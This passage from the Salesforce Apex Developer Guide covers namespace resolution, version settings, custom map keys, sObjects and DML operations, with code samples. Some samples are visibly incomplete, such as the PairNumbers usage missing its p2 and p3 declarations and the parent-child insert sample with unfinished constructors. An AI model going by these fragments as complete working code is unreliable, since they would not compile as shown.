}
}
Execute this statement in the Developer Console:

sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
101
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
SEE ALSO:
Using the Schema Namespace
Using the Schema Namespace

The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you must fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();
And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();
Using the Schema Namespace for Disambiguation

Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}
// ...
// Create a standard Account object myAccountSObject

Schema.Account myAccountSObject = new Schema.Account();
// Create accountClassInstance, a custom class in your org
Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;
SEE ALSO:
Using the System Namespace
Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
102
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
• If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
• If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
Then the following expressions are all legal:

c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()
Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
103
For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).
Apex Code Versions

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.
Versioning of Apex Classes and Methods

When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 356.
IN THIS SECTION:
1. Setting the Salesforce API Version for Classes and Triggers
2. Setting Package Versions for Apex Classes and Triggers
Setting the Salesforce API Version for Classes and Triggers

To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a
method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
104
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea

Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}
The following class is saved using Salesforce API version 16.0:

@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
// assert that the categories field from the object created

// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}
Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
105
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.
Lists of Custom Types and Sorting

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.
Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values. If you add them as keys, there are some special rules that
your class must implement for the map to function correctly; that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.
Adding equals and hashCode Methods to Your Class

To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:
• The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}
Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class,
the equals method must be:
– Reflexive: x.equals(x)
– Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
– Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
– Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
– For any non-null reference value x, x.equals(null) should return false
The equals method in Apex is based on the equals method in Java.
• The hashCode method with this signature:

public Integer hashCode() {
// Your implementation
}
Keep in mind the following when implementing the hashCode method.
106
– If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return
the same value.
– If two objects are equal, based on the equals method, hashCode must return the same value.
– If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the
== operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass

if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}
Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {

x=a;
y=b;
}
public Boolean equals(Object obj) {

if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {

return (31 * x) ^ y;
}
}
This code snippet makes use of the PairNumbers class.

Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
107
Apex Developer Guide Working with Data in Apex

// Duplicate key
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with

// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator

if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations

System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List<String> mValues = m.values();

System.debug('m.values: ' + mValues);
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);
// Verify that we have only two elements

// since the p3 is equal to p1.
System.assertEquals(2, s1.size());

You can add and interact with data in the Force.com platform persistence layer. The sObject data type is the main data type that holds
data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such as the (),
among other things.
IN THIS SECTION:
Working with sObjects
In this developer guide, the term sObject refers to any object that can be stored in the Force.com platform database.
Data Manipulation Language
Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time
or in batches.
108
SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in
Apex by surrounding the statement in square brackets.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query.
sObject Collections
You can manage sObjects in lists, sets, and maps.
Dynamic Apex
Apex Security and Sharing
When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing
rules. Read on to learn about Apex managed sharing and get some security tips.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
SEE ALSO:
Apex DML Operations
Working with sObjects

In this developer guide, the term sObject refers to any object that can be stored in the Force.com platform database.
IN THIS SECTION:
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object.
Accessing sObject Fields
Validating sObjects and Fields
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object.
For example:
MyCustomObject__c co = new MyCustomObject__c();
Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be
used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();
109
You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in the Force.com
SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone
operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is
initially inserted to the database for the first time. For more information see Lists on page 30.
Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;
For more information on custom labels, see “Custom Labels” in the Salesforce online help.
Accessing sObject Fields

As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
a.Name = 'Acme'; // Access the account name field and assign it 'Acme'
System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic sObject
put and get methods. See sObject Class.
110
This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects.
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts;
List<Lead> leads;
List<Account> accounts;
public void convertType(Integer phoneNumber) {

List<List<sObject>> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List<sObject>)results[0]);
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
111
}
}
Validating sObjects and Fields

When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
• Changing a field or object name
• Converting from one data type to another
• Deleting a field or object
• Making certain organization-wide changes, such as record sharing, field history tracking, or record types
Data Manipulation Language

Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time or
in batches.
IN THIS SECTION:
How DML Works
Adding and Retrieving Data With DML
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database
is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records),
DML is used for write operations.
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how
you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your
code.
DML Operations As Atomic Transactions
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.
Exception Handling
More About DML
Here are some things you may want to know about using Data Manipulation Language.
Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user
interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked
records won’t be changed by another client during the lock period.
112
How DML Works
Single vs. Bulk DML Operations

You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the
recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This
limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of
sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject.
This example performs DML calls on single sObjects, which is not efficient.
The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches
a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught for exceeding
the DML statement limit of 150.
for(Contact badCon : conList) {
if (badCon.Department == 'Finance') {
badCon.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}
This example is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling
update on a list of contacts. This code counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.

List<Contact> updatedList = new List<Contact>();
for(Contact con : conList) {

if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
// Call update on the list of contacts.

// This results in one DML call for the entire list.
update updatedList;
The other governor limit that affects DML operations is the total number of rows that can be processed by DML operations in a single
transaction, which is 10,000. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For
example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still
have 9,850 rows left (10,000 - 150).
System Context and Sharing Rules

Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforcing Sharing Rules.
Note: If you execute DML operations within an anonymous block, they execute using the current user’s object and field-level
permissions.
113
Adding and Retrieving Data With DML

Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records), DML is used
for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');
In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;
Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.

a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.

update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.

System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);
114
DML Statements vs. Database Class Methods

Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you
perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.
This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
// DML statement
insert acctList;
This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);
// Iterate through each returned result

for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
• Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
115
form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.
Note: Most operations overlap between the two, except for a few.
• The convertLead operation is only available as a Database class method, not as a DML statement.
• The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.
DML Operations As Atomic Transactions

DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in
one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a
trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that
performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.
IN THIS SECTION:
Inserting and Updating Records
Upserting Records
Merging Records
Deleting Records
Restoring Deleted Records
Converting Leads
Inserting and Updating Records

Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects
and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. Next, it queries
the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
116
insert accts;
// Update account Acme2.

accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.

Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);
Inserting Related Records

You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID
on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value
of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact
and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
// Once the account is inserted, the sObject will be

// populated with an ID.
// Get this ID.
ID acctID = acct.ID;
// Add a contact to this account.

Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
}
Updating Related Records

Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
117
you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number

queriedContact.Phone = '415.555.1213';
// Update the related account industry

queriedContact.Account.Industry = 'Technology';
// Make two separate calls

// 1. This call is to update the contact's phone.
update queriedContact;
// 2. This call is to update the related account's Industry field.
update queriedContact.Account;
} catch(Exception e) {
}
IN THIS SECTION:
Relating Records by Using an External ID
Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the
objects involved, such as a master-detail or lookup relationship.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the objects
involved, such as a master-detail or lookup relationship.
To relate a record to its parent record with an external ID, the parent object must have a custom field marked as External ID. Create the
parent sObject with an external ID value, and then set this record as a nested sObject on the record you want to link.
This example shows how to relate a new opportunity to an existing account. The account has an external ID field, named MyExtID,
of type text. Before the new opportunity is inserted, the Account record is added to this opportunity as a nested sObject through the
Opportunity.Account relationship field. The Account sObject contains only the external ID field.
Opportunity newOpportunity = new Opportunity(

Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));
// Create the parent record reference.

// An account with this external ID value already exists.
118
// This sObject is used only for foreign key reference

// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
// Add the nested account sObject to the opportunity.

newOpportunity.Account = accountReference;
// Create the opportunity.

Database.SaveResult results = Database.insert(newOpportunity);
The previous sample performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
• Create the child sObject and populate its required fields, and optionally other fields.
• Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
• Set the foreign key field of the child sObject to the parent reference sObject you just created.
• Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
• Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
CloseDate=dt);
// Create the parent reference.

// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
119
newOpportunity.Account = accountReference;
// Create the Account object to insert.

// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
// Create the account and the opportunity.

Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug(' The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}
Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
